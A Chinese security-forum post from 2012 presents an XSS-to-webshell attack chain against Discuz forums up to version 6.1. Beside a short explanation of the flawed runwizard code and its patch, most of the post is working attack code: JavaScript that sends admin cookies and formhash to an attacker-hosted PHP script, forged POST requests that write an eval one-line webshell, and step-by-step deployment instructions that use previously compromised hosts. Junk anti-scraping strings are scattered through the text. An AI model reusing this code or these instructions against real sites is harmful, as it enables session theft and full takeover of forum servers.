找回密码
 立即注册
查看: 4504|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell# ^+ k. k: I8 Y0 Z& t
By racle @tian6.com, v0 K1 {9 E3 N6 b
欢迎转帖.但请保留版权信息.- p+ e1 E3 z' B5 u
受影响版本iscuz<=6.1.0,gbk+utf+big5
2 W9 F  B' }  @! H3 X" D& E7 ^1 d! `5 _
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.1 d. |- h3 i) Q, l4 T
! u( ]5 F- m* ~! H5 N& {5 q+ e5 X
0 I( I: l) k/ [
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
7 G+ U9 p; ~' V4 T- M当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.9 o1 O+ S" C6 k1 A0 X
" v6 y8 g3 a$ ]" q, y- a1 L* P, V) n
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..) X4 f1 G4 ^0 ^9 p
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
2 N$ V$ [, z) Y# m- P; k: m8 S& I  F  @! }7 k* w
6 }1 s; T0 R9 _( Y8 r% ^2 H4 K4 k
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
0 V! S- w0 R# Z& [7 d; X' }* O( u- E( }! o$ T4 M( j' }' W4 s" A

4 R/ L' \. B, ]) ~; ?problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.9 A, N/ O* N% P

8 g3 S+ p& D5 O0 X* n: _4 ?problem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
! t7 R: n7 f2 ]) M* \& U, X" o/ ~# V5 Z5 V0 O8 t
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
- z5 X# d7 p2 N" j+ K3 j% |  r3 o# E% h- d4 Y3 h: r6 v
* J) U5 @. R) s+ k% s1 R
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
5 L* {% F* e1 i% }: M2 u' A, C- V4 c7 a2 N5 x
        global $runwizardfile, $runwizardhistory;. x- ^* B% ?3 I
+ Y  y& Y6 g, ]7 a
        $fp = fopen($runwizardfile, 'w');7 O% [$ r1 ?! r. Y
( ?, S$ B# i* l
        fwrite($fp, serialize($runwizardhistory));% L* F' \* P- Y, o: d* s# H2 J) F
; i  L5 u& O% n3 N2 A) v
        fclose($fp);
, s8 O3 u2 p2 H5 ?1 a$ {# l+ _" F3 {) n9 }: H2 G" X. c. `
}' I2 {$ i" l! F
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
' _  w- `  W; _) W以下是修补的办法:function saverunwizardhistory() {
' z, s9 M. a; c# o- h
' B2 r% R2 w3 U, m+ t+ T8 F4 y        global $runwizardfile, $runwizardhistory;4 t" o6 o8 L0 ~2 v  F

0 l$ |, v' H3 I        $fp = fopen($runwizardfile, 'w');2 q$ k6 i* u( k# B' X  q. q8 o$ m

( J; q( @- [  n! U        $s = '<?php exit;?>';
7 p+ @0 ^0 x. m1 `
# \2 v% o5 e" o' O) j! D9 b        $s .= serialize($runwizardhistory);
* I5 Q& g" q# n0 D+ [% C8 f! J, o* F' ^. I4 G. {( G
        fwrite($fp, $s);
. _/ ?# ^& j7 P6 s" T! @" F8 M4 z" e4 n% s# |5 m* _1 c
        fclose($fp);
& x5 i; d9 ?$ p! K  H! S. v6 E
- Z3 s& k, y4 t# H; G  M" J6 E}
6 C) k5 S( @, d复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
- M4 }+ a9 ?- |# O8 M6 T2 d( ], ~, D: O& w

: S' p, A' R& B
6 m* [4 k/ K% [----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------( {) M& }( C" A  X6 f

6 P. U0 B' z2 ~* p: l& [2 p3 C
: k3 b  c; u  E! P# R" l  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
# P4 l- `9 X. r; a2 R/ h8 h; Y( C! k3 \- i
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
+ }0 a  i/ I. ^1 @! R: Z: X
, f% ^, O1 w( ]3 `& [) t0 I" f+ s! J这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.+ t- t% _# B# X5 u

* c1 L# I# j/ H首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
" N+ y+ {! s/ d5 b4 h3 P5 X9 z
/ L$ h0 c! L3 ]! M# ~6 nvar url="http://目标网站/admincp.php";      
: c8 a+ F& B$ j9 m2 c$ ?" X; O/ I& q
/*获得cookies*/
5 [. o/ w- @6 q/ y4 t" s! c+ Q& n( Y1 B1 w/ b
function getURL(s) {% b- d1 n( b2 O; X5 J* S
: X5 |& g2 Q& S4 V, a& n' F$ o
var image = new Image();% ~& c1 i- H$ u" \: E

/ U; `: G5 z3 U/ l3 w# f5 Fimage.style.width = 0;
% A- `: A- P( d: K# I7 U8 _& Z# t4 R% J3 i  O1 Z
image.style.height = 0;
, j# V% Q% c! x+ g  \$ e" J, z8 k' T# ]' |
image.src = s;9 ?1 k4 c2 F7 O$ }: v
  ~7 m; J) _$ ^: d
}
+ N4 u; C( k4 L. [
6 S5 X- [9 c  G3 y% @9 N# f3 }2 _getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php
) o# j$ M- ^" R2 M复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];2 `0 k  Y; ~7 V; |, s  q
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
2 W) K+ G& l4 l6 _1 L0 I- o, S% e2 z8 ?- y1 r/ d

( k2 E  R$ g+ ^获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
+ J7 `4 T% I& r8 D  M" W, @! q/ i0 N

) a# C) ]! x% R- a+ G2 z+ g
, G* `, D5 d6 R* q# N/*hash*/
& Z2 |4 E- U  B/ \! G/ w# {7 i  s$ R! v) i
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");5 ~  a7 f0 Q9 w. l  }$ N& w

8 V- z8 N- L9 s) I5 A: L! f) exmlHttpReq.open("GET", url+"admincp.php?action=home", false);
: r# P- D* O- Q9 ?& j7 x/ L# R# s0 `/ V$ T2 z9 x  _. H  W. U
xmlHttpReq.send();& ?( j" O* r+ k6 @" S: `$ @  e

7 s9 x+ Z) m: }5 k0 {2 |2 N. Svar resource = xmlHttpReq.responseText;8 X7 T% u; W0 m  f
8 k- h+ D  |& G1 n& ?
var numero = resource.search(/formhash/);
- {( T, e- }; v( k; |
: x, [. i6 }6 S+ [var formhash=encodeURIComponent(resource.substr(numero+17,8));
* M) [; u- e* T; K+ x" @& `: m& d2 Y6 ]# U$ t. I0 |
' b* j9 E9 \6 I

# Z, l; k# ]$ N' [$ ivar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 1 d4 M, f0 [$ J7 l
3 }1 G" ~, ]3 k0 w7 K
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
, B1 u+ C! {/ l- h9 Q! C0 T/ s$ K! V8 g
# s2 x9 d, A  g8 p8 W  h$ wxmlHttpReq.setRequestHeader("Referer", url);
; M2 Q  t, ?9 n0 P# f% ]5 N" O  D. {7 j- h
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
% g8 e; P% Z( v4 Q/ K7 A) k2 q! w- o3 [, Y( m( C
xmlHttpReq.setrequestheader("content-length",post.length); ' F' f) _8 w- a) A: u+ }
- Z8 G  L6 T( p$ n/ h! c$ S' j9 i
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
0 X" G6 Z5 C# @, l" w
6 o' ~2 H  p# N/ Z; |& C( S7 KxmlHttpReq.send(post);//发送数据
# B; Y6 G# f, Q! f# ~$ f$ Z9 G复制代码这里HASH我假设正确,这样提交,也无须cookies
# }6 t# R2 \: L7 |% t9 l  m9 ?6 ?% `" J
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
: k& ^0 ]. B9 `) O- W/ k6 j/ N" i6 `3 c0 a" E$ w
if (!$sock) die("$errstr ($errno)\n");
7 a8 j9 d; }8 H5 j- h4 S" o( b( I  |! E7 b/ j
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
; G$ L+ s3 L# D: }6 @' \# p+ F% w$ a. Q
3 C8 i. s* y5 K, E" ^; x
0 |, V1 [  T; V( T- v: V5 j. U" }
fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");' ~2 G2 h- l+ m# e# _
' E* g5 d) O: s/ O/ q
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");9 l; {$ L% K. t7 U8 v1 w
0 ~$ Z( b1 Y6 |0 n, x' i) P) H
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
+ F9 ?- Q: |) Y( e! L1 J' v
/ [/ \" z8 |# a% F: ]2 k2 v$ Jfwrite($sock, "Accept-Language: zh-cn\r\n");! z- H2 I7 P6 T5 a% p
3 N$ d& m( G" Q
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");6 F( a6 B+ Z- E# d3 X3 \( O
3 v5 u# {- g0 \
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");  ]/ o% ]3 a2 @- F1 U& T- ]0 U

0 d3 ~* @( ~- ufwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");, M+ Y2 P1 I. E  X; W$ t

7 }8 S% d& S$ D! b( m' F; t6 Sfwrite($sock, "Host: $url\r\n");
  @6 P4 u! \% X) d
/ |, ?! `- X6 _fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
' P/ @9 ^  `/ U- G
% k1 A. G! ]( y7 n8 P/ Rfwrite($sock, "Connection: Keep-Alive\r\n");
5 W' k% K5 q  q7 f0 r. a5 l9 F" @
  N$ E% n+ v# h( S9 z6 g$ [fwrite($sock, "Cache-Control: no-cache\r\n");* E$ l$ A4 O6 f$ _, t( H
: ?7 ]  E- g& s9 A4 j2 Y# b: n: d
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");
+ F' [% T( r) D) Q* K$ }* B' A
1 D* N/ w/ j8 bfwrite($sock, $data);% s) S- J5 V2 {7 s

! y9 `) ]! E' Z, p
2 h% s& S; L  \  L
; [3 m! G* f9 c4 Y- U. k0 j4 u$headers = "";# w+ G) _( q& `6 s  a* p

: ]% L1 V* W3 G2 C! jwhile ($str = trim(fgets($sock, 4096)))# N6 l1 m$ ]3 B' Z& ~& H0 R

# D  y# R/ @2 f- f, C     $headers .= "$str\n";
: _1 H( y8 K7 F" k9 v! V5 C/ S6 F
' N" L3 C5 A$ ~2 i& U( z: gecho "\n";
- u: ]2 N& j' {7 o- T5 l5 \# e" j! w; S& I& F6 ?8 u, f
$body = "";
: O6 b3 G8 x2 R" t1 Z" k5 `6 n
while (!feof($sock))) m& J' C1 D% `: W3 a. f; F9 x
1 K( h) p! h1 u: o2 m0 y" q/ Q
     $body .= fgets($sock, 4096);
6 ?9 S  N! k9 M7 Y5 @% O2 x
% ]. Q* O% f/ y" xfclose($sock);& t5 B7 r2 z, j% \2 {6 W

! S/ l6 g% G, {1 ~& aecho $body;- G$ M( X8 O" Y
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
, f' m2 c0 v/ D
; A1 [' k: M& s- s" |) p
4 }) c& M9 R6 h3 i. L) P-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------; [* \3 r; Q6 k' R

) b9 v6 \! L4 M, L! X& {5 A
6 p4 ?& N8 V. [/ x1HP SOCKET利用方法首先打开racle.js3 y4 P* k5 ?1 X/ H, ^

5 ^/ F( q. y) K9 H1 ~: b" {var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
/ u4 h- n+ x2 ?# F) J( X; g2 |* s3 e4 t2 c7 {! E" C
7 |) P; n" O0 y4 z7 ]9 ?3 P, m

1 F  ~0 ]- \3 ?8 A然后打开racle@tian6.php" G7 M3 p# q0 b; Y' U% l: A' S+ K
' t; s0 M7 b! @7 o6 m) N5 N$ M
$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
% p7 ?/ t2 W% o( j; |' t  ~, U5 ^+ U1 @3 i2 w8 L1 A0 M8 u

$ @; ?' a8 w5 P( Q  A
. t4 C- s* W6 F) a! m如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
+ z# a8 |% z; D. ]& m2 p7 K2 D2 X5 H* V- L' A# Y: L" e
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
+ v' J  P/ K7 D8 S( m- t0 g$ E4 r
* B" D* l7 k: Y: [* f8 u% Q; b+ j2 ^6 r% N0 y' c3 y
# y- Z. u& Y  V; Y1 d8 F: ^
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));3 l3 V# `* a$ J  v; j0 f+ d
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
6 E7 M5 A& A0 ~: ]
0 A; e2 y' P& p7 i1 W; b; c
7 N* Z8 U! E6 U
% m6 k* ^" r# I% W$ W) S9 J$ |如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
: j  ^2 z4 [" p5 l7 d' v1 ^. ?2 y4 ^# q7 w" o
var formhash=encodeURIComponent(resource.substr(numero+17,8));
+ P. m" S% k# c/ I- w" K
; g" |1 ~% {1 k5 K4 j3 v6 H$ o, k5 `+ O/ w9 `8 v4 ~

7 y: Q  V: |( x, f1 |4 ]7 \$ zvar formhash=encodeURIComponent(resource.substr(numero+9,8));9 d, w8 O2 `- E$ S4 V
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.# [6 U; P: D: ?0 [/ m

* o; w$ O6 I+ v3 L: d0 [如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
/ D0 s" x( R' ^/ ]& h" {! C# ^+ q' O  c& z% k% A
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
7 \1 Q3 W% U& C* B7 r: P3 ^7 J% E7 }3 K
. V7 N4 G' S* J0 M不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.% h# E2 z' E! s
/ }- E+ d6 r- q1 ?+ |* w, T: U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表